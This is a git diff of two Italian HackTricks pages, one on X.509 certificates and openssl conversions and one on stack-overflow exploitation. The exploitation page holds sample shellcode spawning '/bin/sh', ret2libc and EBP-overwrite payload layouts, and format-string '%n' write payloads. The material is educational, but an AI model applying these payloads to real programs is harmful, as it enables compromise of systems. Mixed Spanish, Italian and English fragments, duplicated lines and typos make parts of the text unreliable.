I certificati sono principalmente emessi da [autorità di certificazione](https://en.wikipedia.org/wiki/Certificate\_authority) (CA) in un'infrastruttura a chiave pubblica (PKI). Un altro metodo è la [rete di fiducia](https://en.wikipedia.org/wiki/Web\_of\_trust), dove gli utenti verificano direttamente le chiavi degli altri. Il formato comune per i certificati è [X.509](https://en.wikipedia.org/wiki/X.509), che può essere adattato per esigenze specifiche come descritto nella RFC 5280.
|
||||
I certificati sono principalmente emessi da [autorità di certificazione](https://en.wikipedia.org/wiki/Certificate\_authority) (CA) in un'infrastruttura a chiave pubblica (PKI). Un altro metodo è la [rete di fiducia](https://en.wikipedia.org/wiki/Web\_of\_trust), dove gli utenti verificano direttamente le chiavi degli altri. Il formato comune per i certificati è [X.509](https://en.wikipedia.org/wiki/X.509), che può essere adattato per esigenze specifiche come descritto in RFC 5280.
|
||||
|
||||
## Campi Comuni di x509
|
||||
|
||||
|
@ -43,14 +43,14 @@ Nei certificati x509, diversi **campi** svolgono ruoli critici per garantire la
|
|||
* **Emittente** dettaglia chi ha verificato e firmato il certificato, inclusi sottocampi simili al Soggetto per la CA.
|
||||
* Il **Periodo di Validità** è contrassegnato dai timestamp **Non Prima di** e **Non Dopo**, garantendo che il certificato non venga utilizzato prima o dopo una certa data.
|
||||
* La sezione **Chiave Pubblica**, cruciale per la sicurezza del certificato, specifica l'algoritmo, le dimensioni e altri dettagli tecnici della chiave pubblica.
|
||||
* Le **estensioni x509v3** migliorano la funzionalità del certificato, specificando **Utilizzo Chiave**, **Utilizzo Chiave Esteso**, **Nome Alternativo del Soggetto** e altre proprietà per ottimizzare l'applicazione del certificato.
|
||||
* Le **estensioni x509v3** migliorano la funzionalità del certificato, specificando **Utilizzo Chiave**, **Utilizzo Esteso Chiave**, **Nome Alternativo Soggetto** e altre proprietà per ottimizzare l'applicazione del certificato.
|
||||
|
||||
#### **Utilizzo Chiave ed Estensioni**
|
||||
|
||||
* **Utilizzo Chiave** identifica le applicazioni crittografiche della chiave pubblica, come firma digitale o cifratura chiave.
|
||||
* **Utilizzo Chiave Esteso** restringe ulteriormente i casi d'uso del certificato, ad esempio per l'autenticazione del server TLS.
|
||||
* **Nome Alternativo del Soggetto** e **Vincolo di Base** definiscono ulteriori nomi host coperti dal certificato e se si tratta di un certificato CA o di entità finale, rispettivamente.
|
||||
* Gli identificatori come **Identificatore Chiave Soggetto** e **Identificatore Chiave Autorità** garantiscono unicità e tracciabilità delle chiavi.
|
||||
* **Utilizzo Esteso Chiave** restringe ulteriormente i casi d'uso del certificato, ad esempio per l'autenticazione del server TLS.
|
||||
* **Nome Alternativo Soggetto** e **Vincolo di Base** definiscono ulteriori nomi host coperti dal certificato e se si tratta di un certificato CA o di entità finale, rispettivamente.
|
||||
* Gli identificatori come **Identificatore Chiave Soggetto** e **Identificatore Chiave Autorità** garantiscono l'unicità e la tracciabilità delle chiavi.
|
||||
* **Accesso alle Informazioni dell'Autorità** e **Punti di Distribuzione CRL** forniscono percorsi per verificare l'emittente CA e controllare lo stato di revoca del certificato.
|
||||
* **CT Precertificate SCTs** offrono registri di trasparenza, cruciali per la fiducia pubblica nel certificato.
|
||||
```python
|
||||
|
@ -82,13 +82,13 @@ print(f"Public Key: {public_key}")
|
|||
|
||||
La Trasparenza del Certificato aiuta a contrastare le minacce legate ai certificati garantendo che l'emissione e l'esistenza dei certificati SSL siano visibili ai proprietari di domini, alle CA e agli utenti. I suoi obiettivi sono:
|
||||
|
||||
* Impedire alle CA di emettere certificati SSL per un dominio senza il consenso del proprietario del dominio.
|
||||
* Stabilire un sistema di audit aperto per tracciare certificati emessi per errore o in modo malevolo.
|
||||
* Impedire alle CA di rilasciare certificati SSL per un dominio senza il consenso del proprietario del dominio.
|
||||
* Stabilire un sistema di audit aperto per tracciare certificati rilasciati per errore o in modo malevolo.
|
||||
* Proteggere gli utenti dai certificati fraudolenti.
|
||||
|
||||
#### **Log dei Certificati**
|
||||
|
||||
I log dei certificati sono registri pubblicamente verificabili e aggiornabili solo in appendice dei certificati, mantenuti da servizi di rete. Questi log forniscono prove crittografiche a fini di audit. Sia le autorità di emissione che il pubblico possono inviare certificati a questi log o interrogarli per la verifica. Sebbene il numero esatto di server di log non sia fisso, ci si aspetta che sia inferiore a mille a livello globale. Questi server possono essere gestiti in modo indipendente da CA, ISP o da qualsiasi entità interessata.
|
||||
I log dei certificati sono registri pubblicamente verificabili e aggiornabili solo in appendice dei certificati, mantenuti da servizi di rete. Questi log forniscono prove crittografiche a fini di audit. Sia le autorità di emissione che il pubblico possono inviare certificati a questi log o interrogarli per la verifica. Sebbene il numero esatto di server di log non sia fisso, ci si aspetta che sia inferiore a mille a livello globale. Questi server possono essere gestiti in modo indipendente da CA, ISP o qualsiasi entità interessata.
|
||||
|
||||
#### **Interrogazione**
|
||||
|
||||
|
@ -103,7 +103,7 @@ Esistono formati diversi per memorizzare i certificati, ognuno con i propri casi
|
|||
* Formato più ampiamente usato per i certificati.
|
||||
* Richiede file separati per i certificati e le chiavi private, codificati in Base64 ASCII.
|
||||
* Estensioni comuni: .cer, .crt, .pem, .key.
|
||||
* Principalmente usato da server Apache e simili.
|
||||
* Principalmente usato da Apache e server simili.
|
||||
|
||||
### **Formato DER**
|
||||
|
||||
|
@ -136,12 +136,12 @@ openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
|
|||
```bash
|
||||
openssl x509 -outform der -in certificatename.pem -out certificatename.der
|
||||
```
|
||||
* **DER to PEM**
|
||||
Convertire un certificato DER in formato PEM.
|
||||
* **DER to PEM**
|
||||
```bash
|
||||
openssl x509 -inform der -in certificatename.der -out certificatename.pem
|
||||
```
|
||||
* **PEM to P7B**
|
||||
* **PEM to P7B**
|
||||
* **PEM to P7B**
|
||||
```bash
|
||||
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
|
||||
```
|
||||
|
@ -160,11 +160,21 @@ openssl pkcs12 -in certificatename.pfx -out certificatename.pem
|
|||
```bash
|
||||
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
|
||||
```
|
||||
2. Converti PEM in PKCS8
|
||||
2. Convert PEM to PKCS8
|
||||
|
||||
### Convert PEM to PKCS8
|
||||
|
||||
To convert a PEM (Privacy-Enhanced Mail) formatted file to PKCS8 (Public-Key Cryptography Standards #8) format, you can use the following OpenSSL command:
|
||||
|
||||
```bash
|
||||
openssl pkcs8 -topk8 -inform PEM -outform DER -in private.pem -out private.pkcs8 -nocrypt
|
||||
```
|
||||
|
||||
This command will convert the private key in the `private.pem` file from PEM format to PKCS8 format and save it in the `private.pkcs8` file.
|
||||
```bash
|
||||
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
|
||||
```
|
||||
* **P7B to PFX** richiede anche due comandi:
|
||||
* **Da P7B a PFX** richiede anche due comandi:
|
||||
1. Converti P7B in CER
|
||||
```bash
|
||||
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
|
||||
|
@ -175,7 +185,7 @@ openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certif
|
|||
```
|
||||
***
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità **più avanzati al mondo**.\
|
||||
|
@ -185,13 +195,13 @@ Ottieni l'accesso oggi:
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
|
||||
|
|
|
@ -2,54 +2,36 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking su AWS da zero a ero con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
||||
## **1.STACK OVERFLOWS**
|
||||
|
||||
> buffer overflow, buffer overrun, stack overrun, stack smashing
|
||||
|
||||
Segmentation fault o violazione di segmento: Quando si tenta di accedere a un indirizzo di memoria non assegnato al processo.
|
||||
|
||||
Per ottenere l'indirizzo di una funzione all'interno di un programma si può fare:
|
||||
```
|
||||
objdump -d ./PROGRAMA | grep FUNCION
|
||||
```
|
||||
## ROP
|
||||
|
||||
### Chiamata a sys\_execve
|
||||
|
||||
{% content-ref url="rop-syscall-execv.md" %}
|
||||
[rop-syscall-execv.md](rop-syscall-execv.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## **2.SHELLCODE**
|
||||
|
||||
View kernel interrupts: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
|
||||
Ver interrupciones de kernel: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
|
||||
|
||||
setreuid(0,0); // \_\_NR\_setreuid 70\
|
||||
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
|
||||
exit(0); // \_\_NR\_exit 1
|
||||
|
||||
xor eax, eax ; clear eax\
|
||||
xor ebx, ebx ; ebx = 0 as there are no arguments to pass\
|
||||
xor eax, eax ; limpiamos eax\
|
||||
xor ebx, ebx ; ebx = 0 pues no hay argumento que pasar\
|
||||
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
|
||||
int 0x80 ; Execute syscall
|
||||
int 0x80 ; Ejecutar syscall
|
||||
|
||||
**nasm -f elf assembly.asm** —> Returns a .o file\
|
||||
**ld assembly.o -o shellcodeout** —> Generates an executable with the assembly code and we can extract the opcodes with **objdump**\
|
||||
**objdump -d -Mintel ./shellcodeout** —> To verify that it is indeed our shellcode and extract the OpCodes
|
||||
**nasm -f elf assembly.asm** —> Nos devuelve un .o\
|
||||
**ld assembly.o -o shellcodeout** —> Nos da un ejecutable formado por el código ensamblador y podemos sacar los opcodes con **objdump**\
|
||||
**objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes
|
||||
|
||||
**Verify that the shellcode works**
|
||||
**Comprobar que la shellcode funciona**
|
||||
```
|
||||
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
|
||||
|
||||
|
@ -59,11 +41,11 @@ fp = (void *)shellcode;
|
|||
fp();
|
||||
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
|
||||
```
|
||||
Per verificare che le system call vengano eseguite correttamente, è necessario compilare il programma precedente e le system call dovrebbero apparire in **strace ./PROGRAMMA_COMPILATO**
|
||||
Per verificare che le system call vengano eseguite correttamente, è necessario compilare il programma precedente e le system call devono apparire in **strace ./PROGRAMMA_COMPILATO**
|
||||
|
||||
Quando si creano shellcode, si può utilizzare un trucco. La prima istruzione è un salto a una chiamata. La chiamata richiama il codice originale e inserisce l'EIP nello stack. Dopo l'istruzione di chiamata, abbiamo inserito la stringa necessaria, quindi con quel EIP possiamo puntare alla stringa e continuare ad eseguire il codice.
|
||||
|
||||
ESEMPIO **TRICK (/bin/sh)**:
|
||||
ESEMPIO **TRUCO (/bin/sh)**:
|
||||
```
|
||||
jmp 0x1f ; Salto al último call
|
||||
popl %esi ; Guardamos en ese la dirección al string
|
||||
|
@ -113,7 +95,7 @@ pop eax ; Guarda el EIP en el que se ejecutó fabs
|
|||
```
|
||||
**Cacciatore di Uova:**
|
||||
|
||||
Si tratta di un breve codice che scorre le pagine di memoria associate a un processo alla ricerca della shellcode ivi memorizzata (cerca una firma inserita nella shellcode). Utile nei casi in cui si dispone solo di uno spazio limitato per iniettare codice.
|
||||
Si tratta di un breve codice che esplora le pagine di memoria associate a un processo alla ricerca della shellcode ivi memorizzata (cercando una firma inserita nella shellcode). Utile nei casi in cui si dispone solo di uno spazio limitato per iniettare codice.
|
||||
|
||||
**Shellcode Polimorfiche**
|
||||
|
||||
|
@ -136,121 +118,41 @@ call init
|
|||
sc:
|
||||
;Aquí va el shellcode
|
||||
```
|
||||
1. **Attaccare il Frame Pointer (EBP)**
|
||||
|
||||
Utile in una situazione in cui possiamo modificare l'EBP ma non l'EIP.
|
||||
|
||||
Si sa che quando si esce da una funzione, viene eseguito il seguente codice assembly:
|
||||
```
|
||||
movl %ebp, %esp
|
||||
popl %ebp
|
||||
ret
|
||||
```
|
||||
In questo modo, è possibile modificare l'EBP uscendo da una funzione (fvuln) chiamata da un'altra funzione, in modo che quando la funzione che ha chiamato fvuln termina, il suo EIP può essere modificato.
|
||||
|
||||
In fvuln è possibile inserire un EBP falso che punti a un luogo dove si trova l'indirizzo della shellcode + 4 (bisogna aggiungere 4 per il pop). Quindi, uscendo dalla funzione, il valore di &(\&Shellcode)+4 verrà inserito in ESP, con il pop verranno sottratti 4 a ESP e punterà all'indirizzo della shellcode quando verrà eseguito il ret.
|
||||
|
||||
**Exploit:**\
|
||||
\&Shellcode + "AAAA" + SHELLCODE + padding + &(\&Shellcode)+4
|
||||
|
||||
**Exploit Off-by-One**\
|
||||
Permette di modificare solo il byte meno significativo dell'EBP. Si può eseguire un attacco simile a quello precedente, ma la memoria che contiene l'indirizzo della shellcode deve condividere i primi 3 byte con l'EBP.
|
||||
|
||||
## **4. Metodi return to Libc**
|
||||
|
||||
Metodo utile quando lo stack non è eseguibile o lascia un buffer troppo piccolo da modificare.
|
||||
|
||||
L'ASLR fa sì che ad ogni esecuzione le funzioni vengano caricate in posizioni diverse della memoria. Pertanto, questo metodo potrebbe non essere efficace in quel caso. Per server remoti, poiché il programma viene eseguito costantemente allo stesso indirizzo, può essere utile.
|
||||
|
||||
* **cdecl(C declaration)** Mette gli argomenti nello stack e pulisce lo stack dopo l'uscita dalla funzione
|
||||
* **stdcall(standard call)** Mette gli argomenti nello stack e la funzione chiamata pulisce lo stack
|
||||
* **fastcall** Mette i primi due argomenti nei registri e il resto nello stack
|
||||
|
||||
Si inserisce l'indirizzo dell'istruzione system di libc e si passa come argomento la stringa "/bin/sh", di solito da una variabile di ambiente. Inoltre, si utilizza l'indirizzo della funzione exit in modo che una volta terminata l'esecuzione della shell, il programma esca senza problemi (e scriva i log).
|
||||
|
||||
**export SHELL=/bin/sh**
|
||||
|
||||
Per trovare gli indirizzi di cui abbiamo bisogno, si può guardare dentro a **GDB:**\
|
||||
**p system**\
|
||||
**p exit**\
|
||||
**rabin2 -i eseguibile** —> Restituisce l'indirizzo di tutte le funzioni utilizzate dal programma al momento del caricamento\
|
||||
(Dentro a un start o un breakpoint): **x/500s $esp** —> Cerchiamo qui la stringa /bin/sh
|
||||
|
||||
Una volta ottenuti questi indirizzi, l'**exploit** sarà:
|
||||
|
||||
"A" \* DISTANZA EBP + 4 (EBP: possono essere 4 "A" anche se è meglio se è l'EBP reale per evitare errori di segmentazione) + Indirizzo di **system** (sovrascriverà l'EIP) + Indirizzo di **exit** (dopo system(“/bin/sh”) questa funzione verrà chiamata poiché i primi 4 byte dello stack sono trattati come l'indirizzo successivo dell'EIP da eseguire) + Indirizzo di “**/bin/sh**” (sarà il parametro passato a system)
|
||||
|
||||
In questo modo, l'EIP verrà sovrascritto con l'indirizzo di system che riceverà come parametro la stringa “/bin/sh” e al termine di questa eseguirà la funzione exit().
|
||||
|
||||
È possibile trovarsi nella situazione in cui un byte di un indirizzo di una funzione sia nullo o uno spazio (\x20). In tal caso, è possibile disassemblare gli indirizzi precedenti a tale funzione poiché probabilmente ci saranno diversi NOP che ci permetteranno di chiamare uno di essi anziché la funzione direttamente (ad esempio con > x/8i system-4).
|
||||
|
||||
Questo metodo funziona perché chiamando una funzione come system usando l'opcode **ret** anziché **call**, la funzione capisce che i primi 4 byte saranno l'indirizzo **EIP** a cui tornare.
|
||||
|
||||
Una tecnica interessante con questo metodo è chiamare **strncpy()** per spostare un payload dallo stack all'heap e successivamente utilizzare **gets()** per eseguire tale payload.
|
||||
|
||||
Un'altra tecnica interessante è l'uso di **mprotect()** che consente di assegnare i permessi desiderati a qualsiasi parte della memoria. Funziona o funzionava in BDS, MacOS e OpenBSD, ma non in Linux (controlla che non sia possibile concedere contemporaneamente permessi di scrittura ed esecuzione). Con questo attacco si potrebbe rendere di nuovo eseguibile lo stack.
|
||||
|
||||
**Concatenazione di funzioni**
|
||||
|
||||
Basandosi sulla tecnica precedente, questa forma di exploit consiste in:\
|
||||
Padding + \&Funzione1 + \&pop;ret; + \&arg\_fun1 + \&Funzione2 + \&pop;ret; + \&arg\_fun2 + …
|
||||
|
||||
In questo modo è possibile concatenare le funzioni da chiamare. Inoltre, se si vogliono utilizzare funzioni con più argomenti, è possibile inserire gli argomenti necessari (ad esempio 4) e inserire i 4 argomenti e cercare un indirizzo con gli opcode: pop, pop, pop, pop, ret —> **objdump -d eseguibile**
|
||||
|
||||
**Concatenazione tramite falsificazione di frame (concatenamento di EBPs)**
|
||||
|
||||
Consiste nel sfruttare la possibilità di manipolare l'EBP per concatenare l'esecuzione di varie funzioni attraverso l'EBP e "leave;ret"
|
||||
|
||||
PADDING
|
||||
|
||||
* Si imposta sull'EBP un EBP falso che punta a: 2° EBP\_falso + la funzione da eseguire: (\&system() + \&leave;ret + &“/bin/sh”)
|
||||
* Nell'EIP si inserisce come indirizzo una funzione &(leave;ret)
|
||||
|
||||
Si avvia la shellcode con l'indirizzo della parte successiva della shellcode, ad esempio: 2°EBP\_falso + \&system() + &(leave;ret;) + &”/bin/sh”
|
||||
|
||||
il 2°EBP sarebbe: 3°EBP\_falso + \&system() + &(leave;ret;) + &”/bin/ls”
|
||||
|
||||
Questa shellcode può essere ripetuta indefinitamente nelle parti di memoria a cui si ha accesso in modo da ottenere una shellcode facilmente divisibile in piccoli pezzi di memoria.
|
||||
|
||||
(Si concatenano le esecuzioni di funzioni mescolando le vulnerabilità viste in precedenza di EBP e di ret2lib)
|
||||
|
||||
## **5. Metodi complementari**
|
||||
|
||||
**Ret2Ret**
|
||||
|
||||
Utile quando non è possibile inserire un indirizzo dello stack nell'EIP (si controlla che l'EIP non contenga 0xbf) o quando non è possibile calcolare la posizione della shellcode. Tuttavia, la funzione vulnerabile accetta un parametro (la shellcode andrà qui).
|
||||
Utile quando non è possibile inserire un indirizzo dello stack nell'EIP (verificare che l'EIP non contenga 0xbf) o quando non è possibile calcolare la posizione della shellcode. Tuttavia, la funzione vulnerabile accetta un parametro (la shellcode andrà qui).
|
||||
|
||||
In questo modo, cambiando l'EIP con un indirizzo a un **ret**, verrà caricato l'indirizzo successivo (che è l'indirizzo del primo argomento della funzione). In altre parole, verrà caricata la shellcode.
|
||||
In questo modo, cambiando l'EIP con un indirizzo a un **ret**, verrà caricato il prossimo indirizzo (che è l'indirizzo del primo argomento della funzione). In altre parole, verrà caricata la shellcode.
|
||||
|
||||
L'exploit sarebbe: SHELLCODE + Padding (fino a EIP) + **\&ret** (i byte successivi dello stack puntano all'inizio della shellcode poiché viene inserito nello stack l'indirizzo del parametro passato)
|
||||
L'exploit sarebbe: SHELLCODE + Riempimento (fino a EIP) + **\&ret** (i byte successivi nello stack puntano all'inizio della shellcode poiché viene inserito nello stack l'indirizzo del parametro passato)
|
||||
|
||||
Sembra che funzioni come **strncpy** una volta completate eliminino dalla pila l'indirizzo in cui era memorizzata la shellcode, impedendo questa tecnica. In altre parole, l'indirizzo passato alla funzione come argomento (quello che memorizza la shellcode) viene modificato con un 0x00, quindi quando si chiama il secondo **ret** si trova un 0x00 e il programma si interrompe.
|
||||
|
||||
Sembra che funzioni come **strncpy** una volta completate rimuovano dalla pila l'indirizzo in cui era memorizzata la shellcode, impedendo questa tecnica. In altre parole, l'indirizzo passato alla funzione come argomento (quello che contiene la shellcode) viene modificato con un 0x00, quindi al secondo **ret** si trova un 0x00 e il programma si arresta.
|
||||
```
|
||||
**Ret2PopRet**
|
||||
```
|
||||
**Tecnica di Murat**
|
||||
|
||||
In Linux, tutti i programmi vengono mappati a partire da 0xbfffffff.
|
||||
|
||||
Guardando come viene costruito lo stack di un nuovo processo in Linux, è possibile sviluppare uno sfruttamento in modo che il programma venga avviato in un ambiente in cui l'unica variabile sia lo shellcode. L'indirizzo di questa variabile può quindi essere calcolato come: addr = 0xbfffffff - 4 - strlen(NOME\_eseguibile\_completo) - strlen(shellcode)
|
||||
Guardando come viene costruito lo stack di un nuovo processo in Linux, è possibile sviluppare un exploit in modo che il programma venga avviato in un ambiente in cui l'unica variabile sia la shellcode. L'indirizzo di questa può quindi essere calcolato come: addr = 0xbfffffff - 4 - strlen(NOME\_eseguibile\_completo) - strlen(shellcode)
|
||||
|
||||
In questo modo si otterrebbe facilmente l'indirizzo in cui si trova la variabile di ambiente con lo shellcode.
|
||||
In questo modo si otterrebbe facilmente l'indirizzo in cui si trova la variabile di ambiente con la shellcode.
|
||||
|
||||
Ciò è possibile grazie alla funzione execle che consente di creare un ambiente con solo le variabili di ambiente desiderate.
|
||||
Questo è possibile grazie alla funzione execle che consente di creare un ambiente con solo le variabili di ambiente desiderate.
|
||||
|
||||
**Salto a ESP: Stile Windows**
|
||||
**Jump to ESP: Stile Windows**
|
||||
|
||||
Poiché ESP punta sempre all'inizio dello stack, questa tecnica consiste nel sostituire l'EIP con l'indirizzo di una chiamata a **jmp esp** o **call esp**. In questo modo, la shellcode viene salvata dopo la sovrascrittura dell'EIP poiché dopo l'esecuzione del **ret**, ESP punterà all'indirizzo successivo, proprio dove è stata salvata la shellcode.
|
||||
Poiché l'ESP punta sempre all'inizio dello stack, questa tecnica consiste nel sostituire l'EIP con l'indirizzo di una chiamata a **jmp esp** o **call esp**. In questo modo, la shellcode viene salvata dopo la sovrascrittura dell'EIP poiché dopo l'esecuzione del **ret**, l'ESP punterà all'indirizzo successivo, proprio dove è stata salvata la shellcode.
|
||||
|
||||
Nel caso in cui l'ASLR non sia attivo su Windows o Linux, è possibile chiamare **jmp esp** o **call esp** memorizzate in qualche oggetto condiviso. Se l'ASLR è attivo, potrebbe essere cercato all'interno del programma vulnerabile stesso.
|
||||
|
||||
Inoltre, il fatto di poter posizionare la shellcode dopo la corruzione dell'EIP anziché nel mezzo dello stack consente alle istruzioni push o pop eseguite nel mezzo della funzione di non toccare la shellcode (cosa che potrebbe accadere se fosse posizionata nel mezzo dello stack della funzione).
|
||||
Inoltre, il fatto di poter posizionare la shellcode dopo la corruzione dell'EIP anziché nel mezzo dello stack permette che le istruzioni push o pop eseguite nel mezzo della funzione non tocchino la shellcode (cosa che potrebbe accadere se fosse posizionata nel mezzo dello stack della funzione).
|
||||
|
||||
In modo molto simile a questo, se si sa che una funzione restituisce l'indirizzo in cui è memorizzata la shellcode, è possibile chiamare **call eax** o **jmp eax (ret2eax).**
|
||||
In modo molto simile a questo, se sappiamo che una funzione restituisce l'indirizzo in cui è memorizzata la shellcode, è possibile chiamare **call eax** o **jmp eax (ret2eax).**
|
||||
|
||||
**Integer overflows**
|
||||
|
||||
Questo tipo di overflow si verifica quando una variabile non è in grado di gestire un numero così grande come quello passato, probabilmente a causa di una confusione tra variabili con e senza segno, ad esempio:
|
||||
Questo tipo di overflow si verifica quando una variabile non è pronta per gestire un numero così grande come quello passato, possibilmente a causa di una confusione tra variabili con e senza segno, ad esempio:
|
||||
```c
|
||||
#include <stdion.h>
|
||||
#include <string.h>
|
||||
|
@ -283,87 +185,19 @@ Questo tipo di overflow non cerca di scrivere qualcosa nel processo del programm
|
|||
|
||||
**Variabili non inizializzate**
|
||||
|
||||
Non si conosce il valore che può assumere una variabile non inizializzata e potrebbe essere interessante osservarlo. Potrebbe assumere il valore che aveva una variabile della funzione precedente e questa potrebbe essere controllata dall'attaccante.
|
||||
Non si conosce il valore che una variabile non inizializzata potrebbe assumere ed è interessante osservarlo. Potrebbe assumere il valore che aveva una variabile della funzione precedente e questa potrebbe essere controllata dall'attaccante.
|
||||
|
||||
## **Stringhe di formato**
|
||||
##
|
||||
|
||||
In C **`printf`** è una funzione che può essere utilizzata per **stampare** una stringa. Il **primo parametro** che questa funzione si aspetta è il **testo grezzo con i formattatori**. I **parametri successivi** previsti sono i **valori** da **sostituire** ai **formattatori** del testo grezzo.
|
||||
###
|
||||
|
||||
La vulnerabilità si manifesta quando un **testo dell'attaccante viene inserito come primo argomento** a questa funzione. L'attaccante sarà in grado di creare un **input speciale sfruttando** le **capacità di formattazione della stringa di formato printf** per **scrivere qualsiasi dato in qualsiasi indirizzo**. Essendo in grado in questo modo di **eseguire codice arbitrario**.
|
||||
###
|
||||
|
||||
Formattatori:
|
||||
```bash
|
||||
%08x —> 8 hex bytes
|
||||
%d —> Entire
|
||||
%u —> Unsigned
|
||||
%s —> String
|
||||
%n —> Number of written bytes
|
||||
%hn —> Occupies 2 bytes instead of 4
|
||||
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
|
||||
```
|
||||
**`%n`** **scrive** il **numero di byte scritti** nell'**indirizzo indicato. Scrivere** tanti **byte** quanti il numero esadecimale che dobbiamo **scrivere** è il modo in cui è possibile **scrivere qualsiasi dato**.
|
||||
```bash
|
||||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||||
AAAA.%500\$08x —> Param at offset 500
|
||||
```
|
||||
### GOT (Global Offsets Table) / PLT (Procedure Linkage Table)
|
||||
|
||||
Questa è la tabella che contiene l'**indirizzo** delle **funzioni esterne** utilizzate dal programma.
|
||||
|
||||
Ottieni l'indirizzo di questa tabella con: **`objdump -s -j .got ./exec`**
|
||||
|
||||
![](<../../.gitbook/assets/image (619).png>)
|
||||
|
||||
Osserva come dopo **caricare** l'**eseguibile** in GEF puoi **vedere** le **funzioni** che sono nel **GOT**: `gef➤ x/20x 0xDIR_GOT`
|
||||
|
||||
![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>)
|
||||
|
||||
Utilizzando GEF puoi **avviare** una **sessione di debug** ed eseguire **`got`** per vedere la tabella got:
|
||||
|
||||
![](<../../.gitbook/assets/image (621).png>)
|
||||
|
||||
